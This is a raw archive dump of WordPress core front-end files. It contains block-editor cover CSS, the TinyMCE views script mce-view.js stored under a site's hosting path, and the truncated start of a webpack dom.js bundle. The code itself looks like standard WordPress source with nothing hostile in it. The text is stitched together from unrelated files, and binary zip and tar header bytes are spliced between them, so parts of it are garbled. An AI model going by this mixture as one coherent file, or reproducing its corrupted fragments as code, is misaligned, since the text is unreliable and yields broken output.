.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{
  margin:0;
  width:auto;
}
.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{
  border:none;
  bottom:0;
  box-shadow:none;
  height:100%;
  left:0;
  margin:0;
  max-height:none;
  max-width:none;
  object-fit:cover;
  outline:none;
  padding:0;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}

.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
  background-attachment:fixed;
  background-repeat:no-repeat;
  background-size:cover;
}
@supports (-webkit-touch-callout:inherit){
  .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
    background-attachment:scroll;
  }
}
@media (prefers-reduced-motion:reduce){
  .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
    background-attachment:scroll;
  }
}
.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{
  background-repeat:repeat;
  background-size:auto;
}
.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{
  color:#fff;
}

.wp-block-cover-image .wp-block-cover.has-left-content{
  justify-content:flex-start;
}
.wp-block-cover-image .wp-block-cover.has-right-content{
  justify-content:flex-end;
}

.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{
  margin-left:0;
  text-align:left;
}

.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{
  margin-right:0;
  text-align:right;
}

.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{
  font-size:2em;
  line-height:1.25;
  margin-bottom:0;
  max-width:840px;
  padding:.44em;
  text-align:center;
  z-index:1;
}

:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){
  color:#fff;
}

:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){
  color:#000;
}

:root :where(.wp-block-cover h1:not(.has-text-color)),:root :where(.wp-block-cover h2:not(.has-text-color)),:root :where(.wp-block-cover h3:not(.has-text-color)),:root :where(.wp-block-cover h4:not(.has-text-color)),:root :where(.wp-block-cover h5:not(.has-text-color)),:root :where(.wp-block-cover h6:not(.has-text-color)),:root :where(.wp-block-cover p:not(.has-text-color)){
  color:inherit;
}
body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__image-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__video-background{
  z-index:0;
}
body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__gradient-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)).has-background-dim:not(.has-background-gradient):before{
  z-index:1;
}
.has-modal-open body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container{
  z-index:auto;
}PK�[d[�]����editor.min.cssnu�[���.wp-block-cover.is-placeholder{align-items:stretch;display:flex;min-height:240px;padding:0!important}.wp-block-cover.is-placeholder .components-placeholder.is-large{justify-content:flex-start;z-index:1}.wp-block-cover.is-placeholder:focus:after{min-height:auto}.wp-block-cover.components-placeholder h2{color:inherit}.wp-block-cover.is-transient{position:relative}.wp-block-cover.is-transient:before{background-color:#fff;content:"";height:100%;opacity:.3;position:absolute;width:100%;z-index:1}.wp-block-cover.is-transient .wp-block-cover__inner-container{z-index:2}.wp-block-cover .components-spinner{left:50%;margin:0;position:absolute;top:50%;transform:translate(-50%,-50%)}.wp-block-cover .wp-block-cover__inner-container{margin-left:0;margin-right:0;text-align:left}.wp-block-cover .wp-block-cover__placeholder-background-options{width:100%}.wp-block-cover .wp-block-cover__image--placeholder-image{bottom:0;left:0;position:absolute;right:0;top:0}[data-align=left]>.wp-block-cover,[data-align=right]>.wp-block-cover{max-width:420px;width:100%}.block-library-cover__reset-button{margin-left:auto}.block-library-cover__resize-container{bottom:0;left:0;min-height:50px;position:absolute!important;right:0;top:0}.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .block-library-cover__resize-container,.components-popover.block-editor-block-popover.block-library-cover__resizable-box-popover .components-popover__content>div{overflow:visible;pointer-events:none}.block-editor-block-patterns-list__list-item .has-parallax.wp-block-cover{background-attachment:scroll}.color-block-support-panel__inner-wrapper>:not(.block-editor-tools-panel-color-gradient-settings__item){margin-top:24px}PK�[d[li�q��editor-rtl.min.cssnu�[���PK�[d[�`}Z�J�Jstyle-rtl.min.cssnu�[���PK�[d[Z��Reditor-rtl.cssnu�[���PK�[d[Oy��J�J
�Ystyle.min.cssnu�[���PK�[d[�#�}}
Ťeditor.cssnu�[���PK�[d[�+��


|�block.jsonnu�[���PK�[d[�O	�L�L
÷style-rtl.cssnu�[���PK�[d[\>L��L�L	�style.cssnu�[���PK�[d[�]�����Qeditor.min.cssnu�[���PK		��X14338/mce-view.js.tar000064400000066000151024420100010054 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/mce-view.js000064400000062371151024226360024054 0ustar00/**
 * @output wp-includes/js/mce-view.js
 */

/* global tinymce */

/*
 * The TinyMCE view API.
 *
 * Note: this API is "experimental" meaning that it will probably change
 * in the next few releases based on feedback from 3.9.0.
 * If you decide to use it, please follow the development closely.
 *
 * Diagram
 *
 * |- registered view constructor (type)
 * |  |- view instance (unique text)
 * |  |  |- editor 1
 * |  |  |  |- view node
 * |  |  |  |- view node
 * |  |  |  |- ...
 * |  |  |- editor 2
 * |  |  |  |- ...
 * |  |- view instance
 * |  |  |- ...
 * |- registered view
 * |  |- ...
 */
( function( window, wp, shortcode, $ ) {
	'use strict';

	var views = {},
		instances = {};

	wp.mce = wp.mce || {};

	/**
	 * wp.mce.views
	 *
	 * A set of utilities that simplifies adding custom UI within a TinyMCE editor.
	 * At its core, it serves as a series of converters, transforming text to a
	 * custom UI, and back again.
	 */
	wp.mce.views = {

		/**
		 * Registers a new view type.
		 *
		 * @param {string} type   The view type.
		 * @param {Object} extend An object to extend wp.mce.View.prototype with.
		 */
		register: function( type, extend ) {
			views[ type ] = wp.mce.View.extend( _.extend( extend, { type: type } ) );
		},

		/**
		 * Unregisters a view type.
		 *
		 * @param {string} type The view type.
		 */
		unregister: function( type ) {
			delete views[ type ];
		},

		/**
		 * Returns the settings of a view type.
		 *
		 * @param {string} type The view type.
		 *
		 * @return {Function} The view constructor.
		 */
		get: function( type ) {
			return views[ type ];
		},

		/**
		 * Unbinds all view nodes.
		 * Runs before removing all view nodes from the DOM.
		 */
		unbind: function() {
			_.each( instances, function( instance ) {
				instance.unbind();
			} );
		},

		/**
		 * Scans a given string for each view's pattern,
		 * replacing any matches with markers,
		 * and creates a new instance for every match.
		 *
		 * @param {string} content The string to scan.
		 * @param {tinymce.Editor} editor The editor.
		 *
		 * @return {string} The string with markers.
		 */
		setMarkers: function( content, editor ) {
			var pieces = [ { content: content } ],
				self = this,
				instance, current;

			_.each( views, function( view, type ) {
				current = pieces.slice();
				pieces  = [];

				_.each( current, function( piece ) {
					var remaining = piece.content,
						result, text;

					// Ignore processed pieces, but retain their location.
					if ( piece.processed ) {
						pieces.push( piece );
						return;
					}

					// Iterate through the string progressively matching views
					// and slicing the string as we go.
					while ( remaining && ( result = view.prototype.match( remaining ) ) ) {
						// Any text before the match becomes an unprocessed piece.
						if ( result.index ) {
							pieces.push( { content: remaining.substring( 0, result.index ) } );
						}

						result.options.editor = editor;
						instance = self.createInstance( type, result.content, result.options );
						text = instance.loader ? '.' : instance.text;

						// Add the processed piece for the match.
						pieces.push( {
							content: instance.ignore ? text : '<p data-wpview-marker="' + instance.encodedText + '">' + text + '</p>',
							processed: true
						} );

						// Update the remaining content.
						remaining = remaining.slice( result.index + result.content.length );
					}

					// There are no additional matches.
					// If any content remains, add it as an unprocessed piece.
					if ( remaining ) {
						pieces.push( { content: remaining } );
					}
				} );
			} );

			content = _.pluck( pieces, 'content' ).join( '' );
			return content.replace( /<p>\s*<p data-wpview-marker=/g, '<p data-wpview-marker=' ).replace( /<\/p>\s*<\/p>/g, '</p>' );
		},

		/**
		 * Create a view instance.
		 *
		 * @param {string}  type    The view type.
		 * @param {string}  text    The textual representation of the view.
		 * @param {Object}  options Options.
		 * @param {boolean} force   Recreate the instance. Optional.
		 *
		 * @return {wp.mce.View} The view instance.
		 */
		createInstance: function( type, text, options, force ) {
			var View = this.get( type ),
				encodedText,
				instance;

			if ( text.indexOf( '[' ) !== -1 && text.indexOf( ']' ) !== -1 ) {
				// Looks like a shortcode? Remove any line breaks from inside of shortcodes
				// or autop will replace them with <p> and <br> later and the string won't match.
				text = text.replace( /\[[^\]]+\]/g, function( match ) {
					return match.replace( /[\r\n]/g, '' );
				});
			}

			if ( ! force ) {
				instance = this.getInstance( text );

				if ( instance ) {
					return instance;
				}
			}

			encodedText = encodeURIComponent( text );

			options = _.extend( options || {}, {
				text: text,
				encodedText: encodedText
			} );

			return instances[ encodedText ] = new View( options );
		},

		/**
		 * Get a view instance.
		 *
		 * @param {(string|HTMLElement)} object The textual representation of the view or the view node.
		 *
		 * @return {wp.mce.View} The view instance or undefined.
		 */
		getInstance: function( object ) {
			if ( typeof object === 'string' ) {
				return instances[ encodeURIComponent( object ) ];
			}

			return instances[ $( object ).attr( 'data-wpview-text' ) ];
		},

		/**
		 * Given a view node, get the view's text.
		 *
		 * @param {HTMLElement} node The view node.
		 *
		 * @return {string} The textual representation of the view.
		 */
		getText: function( node ) {
			return decodeURIComponent( $( node ).attr( 'data-wpview-text' ) || '' );
		},

		/**
		 * Renders all view nodes that are not yet rendered.
		 *
		 * @param {boolean} force Rerender all view nodes.
		 */
		render: function( force ) {
			_.each( instances, function( instance ) {
				instance.render( null, force );
			} );
		},

		/**
		 * Update the text of a given view node.
		 *
		 * @param {string}         text   The new text.
		 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
		 * @param {HTMLElement}    node   The view node to update.
		 * @param {boolean}        force  Recreate the instance. Optional.
		 */
		update: function( text, editor, node, force ) {
			var instance = this.getInstance( node );

			if ( instance ) {
				instance.update( text, editor, node, force );
			}
		},

		/**
		 * Renders any editing interface based on the view type.
		 *
		 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
		 * @param {HTMLElement}    node   The view node to edit.
		 */
		edit: function( editor, node ) {
			var instance = this.getInstance( node );

			if ( instance && instance.edit ) {
				instance.edit( instance.text, function( text, force ) {
					instance.update( text, editor, node, force );
				} );
			}
		},

		/**
		 * Remove a given view node from the DOM.
		 *
		 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
		 * @param {HTMLElement}    node   The view node to remove.
		 */
		remove: function( editor, node ) {
			var instance = this.getInstance( node );

			if ( instance ) {
				instance.remove( editor, node );
			}
		}
	};

	/**
	 * A Backbone-like View constructor intended for use when rendering a TinyMCE View.
	 * The main difference is that the TinyMCE View is not tied to a particular DOM node.
	 *
	 * @param {Object} options Options.
	 */
	wp.mce.View = function( options ) {
		_.extend( this, options );
		this.initialize();
	};

	wp.mce.View.extend = Backbone.View.extend;

	_.extend( wp.mce.View.prototype, /** @lends wp.mce.View.prototype */{

		/**
		 * The content.
		 *
		 * @type {*}
		 */
		content: null,

		/**
		 * Whether or not to display a loader.
		 *
		 * @type {Boolean}
		 */
		loader: true,

		/**
		 * Runs after the view instance is created.
		 */
		initialize: function() {},

		/**
		 * Returns the content to render in the view node.
		 *
		 * @return {*}
		 */
		getContent: function() {
			return this.content;
		},

		/**
		 * Renders all view nodes tied to this view instance that are not yet rendered.
		 *
		 * @param {string}  content The content to render. Optional.
		 * @param {boolean} force   Rerender all view nodes tied to this view instance. Optional.
		 */
		render: function( content, force ) {
			if ( content != null ) {
				this.content = content;
			}

			content = this.getContent();

			// If there's nothing to render an no loader needs to be shown, stop.
			if ( ! this.loader && ! content ) {
				return;
			}

			// We're about to rerender all views of this instance, so unbind rendered views.
			force && this.unbind();

			// Replace any left over markers.
			this.replaceMarkers();

			if ( content ) {
				this.setContent( content, function( editor, node ) {
					$( node ).data( 'rendered', true );
					this.bindNode.call( this, editor, node );
				}, force ? null : false );
			} else {
				this.setLoader();
			}
		},

		/**
		 * Binds a given node after its content is added to the DOM.
		 */
		bindNode: function() {},

		/**
		 * Unbinds a given node before its content is removed from the DOM.
		 */
		unbindNode: function() {},

		/**
		 * Unbinds all view nodes tied to this view instance.
		 * Runs before their content is removed from the DOM.
		 */
		unbind: function() {
			this.getNodes( function( editor, node ) {
				this.unbindNode.call( this, editor, node );
			}, true );
		},

		/**
		 * Gets all the TinyMCE editor instances that support views.
		 *
		 * @param {Function} callback A callback.
		 */
		getEditors: function( callback ) {
			_.each( tinymce.editors, function( editor ) {
				if ( editor.plugins.wpview ) {
					callback.call( this, editor );
				}
			}, this );
		},

		/**
		 * Gets all view nodes tied to this view instance.
		 *
		 * @param {Function} callback A callback.
		 * @param {boolean}  rendered Get (un)rendered view nodes. Optional.
		 */
		getNodes: function( callback, rendered ) {
			this.getEditors( function( editor ) {
				var self = this;

				$( editor.getBody() )
					.find( '[data-wpview-text="' + self.encodedText + '"]' )
					.filter( function() {
						var data;

						if ( rendered == null ) {
							return true;
						}

						data = $( this ).data( 'rendered' ) === true;

						return rendered ? data : ! data;
					} )
					.each( function() {
						callback.call( self, editor, this, this /* back compat */ );
					} );
			} );
		},

		/**
		 * Gets all marker nodes tied to this view instance.
		 *
		 * @param {Function} callback A callback.
		 */
		getMarkers: function( callback ) {
			this.getEditors( function( editor ) {
				var self = this;

				$( editor.getBody() )
					.find( '[data-wpview-marker="' + this.encodedText + '"]' )
					.each( function() {
						callback.call( self, editor, this );
					} );
			} );
		},

		/**
		 * Replaces all marker nodes tied to this view instance.
		 */
		replaceMarkers: function() {
			this.getMarkers( function( editor, node ) {
				var selected = node === editor.selection.getNode();
				var $viewNode;

				if ( ! this.loader && $( node ).text() !== tinymce.DOM.decode( this.text ) ) {
					editor.dom.setAttrib( node, 'data-wpview-marker', null );
					return;
				}

				$viewNode = editor.$(
					'<div class="wpview wpview-wrap" data-wpview-text="' + this.encodedText + '" data-wpview-type="' + this.type + '" contenteditable="false"></div>'
				);

				editor.undoManager.ignore( function() {
					editor.$( node ).replaceWith( $viewNode );
				} );

				if ( selected ) {
					setTimeout( function() {
						editor.undoManager.ignore( function() {
							editor.selection.select( $viewNode[0] );
							editor.selection.collapse();
						} );
					} );
				}
			} );
		},

		/**
		 * Removes all marker nodes tied to this view instance.
		 */
		removeMarkers: function() {
			this.getMarkers( function( editor, node ) {
				editor.dom.setAttrib( node, 'data-wpview-marker', null );
			} );
		},

		/**
		 * Sets the content for all view nodes tied to this view instance.
		 *
		 * @param {*}        content  The content to set.
		 * @param {Function} callback A callback. Optional.
		 * @param {boolean}  rendered Only set for (un)rendered nodes. Optional.
		 */
		setContent: function( content, callback, rendered ) {
			if ( _.isObject( content ) && ( content.sandbox || content.head || content.body.indexOf( '<script' ) !== -1 ) ) {
				this.setIframes( content.head || '', content.body, callback, rendered );
			} else if ( _.isString( content ) && content.indexOf( '<script' ) !== -1 ) {
				this.setIframes( '', content, callback, rendered );
			} else {
				this.getNodes( function( editor, node ) {
					content = content.body || content;

					if ( content.indexOf( '<iframe' ) !== -1 ) {
						content += '<span class="mce-shim"></span>';
					}

					editor.undoManager.transact( function() {
						node.innerHTML = '';
						node.appendChild( _.isString( content ) ? editor.dom.createFragment( content ) : content );
						editor.dom.add( node, 'span', { 'class': 'wpview-end' } );
					} );

					callback && callback.call( this, editor, node );
				}, rendered );
			}
		},

		/**
		 * Sets the content in an iframe for all view nodes tied to this view instance.
		 *
		 * @param {string}   head     HTML string to be added to the head of the document.
		 * @param {string}   body     HTML string to be added to the body of the document.
		 * @param {Function} callback A callback. Optional.
		 * @param {boolean}  rendered Only set for (un)rendered nodes. Optional.
		 */
		setIframes: function( head, body, callback, rendered ) {
			var self = this;

			if ( body.indexOf( '[' ) !== -1 && body.indexOf( ']' ) !== -1 ) {
				var shortcodesRegExp = new RegExp( '\\[\\/?(?:' + window.mceViewL10n.shortcodes.join( '|' ) + ')[^\\]]*?\\]', 'g' );
				// Escape tags inside shortcode previews.
				body = body.replace( shortcodesRegExp, function( match ) {
					return match.replace( /</g, '&lt;' ).replace( />/g, '&gt;' );
				} );
			}

			this.getNodes( function( editor, node ) {
				var dom = editor.dom,
					styles = '',
					bodyClasses = editor.getBody().className || '',
					editorHead = editor.getDoc().getElementsByTagName( 'head' )[0],
					iframe, iframeWin, iframeDoc, MutationObserver, observer, i, block;

				tinymce.each( dom.$( 'link[rel="stylesheet"]', editorHead ), function( link ) {
					if ( link.href && link.href.indexOf( 'skins/lightgray/content.min.css' ) === -1 &&
						link.href.indexOf( 'skins/wordpress/wp-content.css' ) === -1 ) {

						styles += dom.getOuterHTML( link );
					}
				} );

				if ( self.iframeHeight ) {
					dom.add( node, 'span', {
						'data-mce-bogus': 1,
						style: {
							display: 'block',
							width: '100%',
							height: self.iframeHeight
						}
					}, '\u200B' );
				}

				editor.undoManager.transact( function() {
					node.innerHTML = '';

					iframe = dom.add( node, 'iframe', {
						/* jshint scripturl: true */
						src: tinymce.Env.ie ? 'javascript:""' : '',
						frameBorder: '0',
						allowTransparency: 'true',
						scrolling: 'no',
						'class': 'wpview-sandbox',
						style: {
							width: '100%',
							display: 'block'
						},
						height: self.iframeHeight
					} );

					dom.add( node, 'span', { 'class': 'mce-shim' } );
					dom.add( node, 'span', { 'class': 'wpview-end' } );
				} );

				/*
				 * Bail if the iframe node is not attached to the DOM.
				 * Happens when the view is dragged in the editor.
				 * There is a browser restriction when iframes are moved in the DOM. They get emptied.
				 * The iframe will be rerendered after dropping the view node at the new location.
				 */
				if ( ! iframe.contentWindow ) {
					return;
				}

				iframeWin = iframe.contentWindow;
				iframeDoc = iframeWin.document;
				iframeDoc.open();

				iframeDoc.write(
					'<!DOCTYPE html>' +
					'<html>' +
						'<head>' +
							'<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />' +
							head +
							styles +
							'<style>' +
								'html {' +
									'background: transparent;' +
									'padding: 0;' +
									'margin: 0;' +
								'}' +
								'body#wpview-iframe-sandbox {' +
									'background: transparent;' +
									'padding: 1px 0 !important;' +
									'margin: -1px 0 0 !important;' +
								'}' +
								'body#wpview-iframe-sandbox:before,' +
								'body#wpview-iframe-sandbox:after {' +
									'display: none;' +
									'content: "";' +
								'}' +
								'iframe {' +
									'max-width: 100%;' +
								'}' +
							'</style>' +
						'</head>' +
						'<body id="wpview-iframe-sandbox" class="' + bodyClasses + '">' +
							body +
						'</body>' +
					'</html>'
				);

				iframeDoc.close();

				function resize() {
					var $iframe;

					if ( block ) {
						return;
					}

					// Make sure the iframe still exists.
					if ( iframe.contentWindow ) {
						$iframe = $( iframe );
						self.iframeHeight = $( iframeDoc.body ).height();

						if ( $iframe.height() !== self.iframeHeight ) {
							$iframe.height( self.iframeHeight );
							editor.nodeChanged();
						}
					}
				}

				if ( self.iframeHeight ) {
					block = true;

					setTimeout( function() {
						block = false;
						resize();
					}, 3000 );
				}

				function addObserver() {
					observer = new MutationObserver( _.debounce( resize, 100 ) );

					observer.observe( iframeDoc.body, {
						attributes: true,
						childList: true,
						subtree: true
					} );
				}

				$( iframeWin ).on( 'load', resize );

				MutationObserver = iframeWin.MutationObserver || iframeWin.WebKitMutationObserver || iframeWin.MozMutationObserver;

				if ( MutationObserver ) {
					if ( ! iframeDoc.body ) {
						iframeDoc.addEventListener( 'DOMContentLoaded', addObserver, false );
					} else {
						addObserver();
					}
				} else {
					for ( i = 1; i < 6; i++ ) {
						setTimeout( resize, i * 700 );
					}
				}

				callback && callback.call( self, editor, node );
			}, rendered );
		},

		/**
		 * Sets a loader for all view nodes tied to this view instance.
		 */
		setLoader: function( dashicon ) {
			this.setContent(
				'<div class="loading-placeholder">' +
					'<div class="dashicons dashicons-' + ( dashicon || 'admin-media' ) + '"></div>' +
					'<div class="wpview-loading"><ins></ins></div>' +
				'</div>'
			);
		},

		/**
		 * Sets an error for all view nodes tied to this view instance.
		 *
		 * @param {string} message  The error message to set.
		 * @param {string} dashicon A dashicon ID. Optional. {@link https://developer.wordpress.org/resource/dashicons/}
		 */
		setError: function( message, dashicon ) {
			this.setContent(
				'<div class="wpview-error">' +
					'<div class="dashicons dashicons-' + ( dashicon || 'no' ) + '"></div>' +
					'<p>' + message + '</p>' +
				'</div>'
			);
		},

		/**
		 * Tries to find a text match in a given string.
		 *
		 * @param {string} content The string to scan.
		 *
		 * @return {Object}
		 */
		match: function( content ) {
			var match = shortcode.next( this.type, content );

			if ( match ) {
				return {
					index: match.index,
					content: match.content,
					options: {
						shortcode: match.shortcode
					}
				};
			}
		},

		/**
		 * Update the text of a given view node.
		 *
		 * @param {string}         text   The new text.
		 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
		 * @param {HTMLElement}    node   The view node to update.
		 * @param {boolean}        force  Recreate the instance. Optional.
		 */
		update: function( text, editor, node, force ) {
			_.find( views, function( view, type ) {
				var match = view.prototype.match( text );

				if ( match ) {
					$( node ).data( 'rendered', false );
					editor.dom.setAttrib( node, 'data-wpview-text', encodeURIComponent( text ) );
					wp.mce.views.createInstance( type, text, match.options, force ).render();

					editor.selection.select( node );
					editor.nodeChanged();
					editor.focus();

					return true;
				}
			} );
		},

		/**
		 * Remove a given view node from the DOM.
		 *
		 * @param {tinymce.Editor} editor The TinyMCE editor instance the view node is in.
		 * @param {HTMLElement}    node   The view node to remove.
		 */
		remove: function( editor, node ) {
			this.unbindNode.call( this, editor, node );
			editor.dom.remove( node );
			editor.focus();
		}
	} );
} )( window, window.wp, window.wp.shortcode, window.jQuery );

/*
 * The WordPress core TinyMCE views.
 * Views for the gallery, audio, video, playlist and embed shortcodes,
 * and a view for embeddable URLs.
 */
( function( window, views, media, $ ) {
	var base, gallery, av, embed,
		schema, parser, serializer;

	function verifyHTML( string ) {
		var settings = {};

		if ( ! window.tinymce ) {
			return string.replace( /<[^>]+>/g, '' );
		}

		if ( ! string || ( string.indexOf( '<' ) === -1 && string.indexOf( '>' ) === -1 ) ) {
			return string;
		}

		schema = schema || new window.tinymce.html.Schema( settings );
		parser = parser || new window.tinymce.html.DomParser( settings, schema );
		serializer = serializer || new window.tinymce.html.Serializer( settings, schema );

		return serializer.serialize( parser.parse( string, { forced_root_block: false } ) );
	}

	base = {
		state: [],

		edit: function( text, update ) {
			var type = this.type,
				frame = media[ type ].edit( text );

			this.pausePlayers && this.pausePlayers();

			_.each( this.state, function( state ) {
				frame.state( state ).on( 'update', function( selection ) {
					update( media[ type ].shortcode( selection ).string(), type === 'gallery' );
				} );
			} );

			frame.on( 'close', function() {
				frame.detach();
			} );

			frame.open();
		}
	};

	gallery = _.extend( {}, base, {
		state: [ 'gallery-edit' ],
		template: media.template( 'editor-gallery' ),

		initialize: function() {
			var attachments = media.gallery.attachments( this.shortcode, media.view.settings.post.id ),
				attrs = this.shortcode.attrs.named,
				self = this;

			attachments.more()
			.done( function() {
				attachments = attachments.toJSON();

				_.each( attachments, function( attachment ) {
					if ( attachment.sizes ) {
						if ( attrs.size && attachment.sizes[ attrs.size ] ) {
							attachment.thumbnail = attachment.sizes[ attrs.size ];
						} else if ( attachment.sizes.thumbnail ) {
							attachment.thumbnail = attachment.sizes.thumbnail;
						} else if ( attachment.sizes.full ) {
							attachment.thumbnail = attachment.sizes.full;
						}
					}
				} );

				self.render( self.template( {
					verifyHTML: verifyHTML,
					attachments: attachments,
					columns: attrs.columns ? parseInt( attrs.columns, 10 ) : media.galleryDefaults.columns
				} ) );
			} )
			.fail( function( jqXHR, textStatus ) {
				self.setError( textStatus );
			} );
		}
	} );

	av = _.extend( {}, base, {
		action: 'parse-media-shortcode',

		initialize: function() {
			var self = this, maxwidth = null;

			if ( this.url ) {
				this.loader = false;
				this.shortcode = media.embed.shortcode( {
					url: this.text
				} );
			}

			// Obtain the target width for the embed.
			if ( self.editor ) {
				maxwidth = self.editor.getBody().clientWidth;
			}

			wp.ajax.post( this.action, {
				post_ID: media.view.settings.post.id,
				type: this.shortcode.tag,
				shortcode: this.shortcode.string(),
				maxwidth: maxwidth
			} )
			.done( function( response ) {
				self.render( response );
			} )
			.fail( function( response ) {
				if ( self.url ) {
					self.ignore = true;
					self.removeMarkers();
				} else {
					self.setError( response.message || response.statusText, 'admin-media' );
				}
			} );

			this.getEditors( function( editor ) {
				editor.on( 'wpview-selected', function() {
					self.pausePlayers();
				} );
			} );
		},

		pausePlayers: function() {
			this.getNodes( function( editor, node, content ) {
				var win = $( 'iframe.wpview-sandbox', content ).get( 0 );

				if ( win && ( win = win.contentWindow ) && win.mejs ) {
					_.each( win.mejs.players, function( player ) {
						try {
							player.pause();
						} catch ( e ) {}
					} );
				}
			} );
		}
	} );

	embed = _.extend( {}, av, {
		action: 'parse-embed',

		edit: function( text, update ) {
			var frame = media.embed.edit( text, this.url ),
				self = this;

			this.pausePlayers();

			frame.state( 'embed' ).props.on( 'change:url', function( model, url ) {
				if ( url && model.get( 'url' ) ) {
					frame.state( 'embed' ).metadata = model.toJSON();
				}
			} );

			frame.state( 'embed' ).on( 'select', function() {
				var data = frame.state( 'embed' ).metadata;

				if ( self.url ) {
					update( data.url );
				} else {
					update( media.embed.shortcode( data ).string() );
				}
			} );

			frame.on( 'close', function() {
				frame.detach();
			} );

			frame.open();
		}
	} );

	views.register( 'gallery', _.extend( {}, gallery ) );

	views.register( 'audio', _.extend( {}, av, {
		state: [ 'audio-details' ]
	} ) );

	views.register( 'video', _.extend( {}, av, {
		state: [ 'video-details' ]
	} ) );

	views.register( 'playlist', _.extend( {}, av, {
		state: [ 'playlist-edit', 'video-playlist-edit' ]
	} ) );

	views.register( 'embed', _.extend( {}, embed ) );

	views.register( 'embedURL', _.extend( {}, embed, {
		match: function( content ) {
			// There may be a "bookmark" node next to the URL...
			var re = /(^|<p>(?:<span data-mce-type="bookmark"[^>]+>\s*<\/span>)?)(https?:\/\/[^\s"]+?)((?:<span data-mce-type="bookmark"[^>]+>\s*<\/span>)?<\/p>\s*|$)/gi;
			var match = re.exec( content );

			if ( match ) {
				return {
					index: match.index + match[1].length,
					content: match[2],
					options: {
						url: true
					}
				};
			}
		}
	} ) );
} )( window, window.wp.mce.views, window.wp.media, window.jQuery );
14338/dom.js.tar000064400000175000151024420100007120 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/dist/dom.js000064400000171257151024362620024066 0ustar00/******/ (() => { // webpackBootstrap
/******/ 	"use strict";
/******/ 	// The require scope
/******/ 	var __webpack_require__ = {};
/******/ 	
/************************************************************************/
/******/ 	/* webpack/runtime/compat get default export */
/******/ 	(() => {
/******/ 		// getDefaultExport function for compatibility with non-harmony modules
/******/ 		__webpack_require__.n = (module) => {
/******/ 			var getter = module && module.__esModule ?
/******/ 				() => (module['default']) :
/******/ 				() => (module);
/******/ 			__webpack_require__.d(getter, { a: getter });
/******/ 			return getter;
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/define property getters */
/******/ 	(() => {
/******/ 		// define getter functions for harmony exports
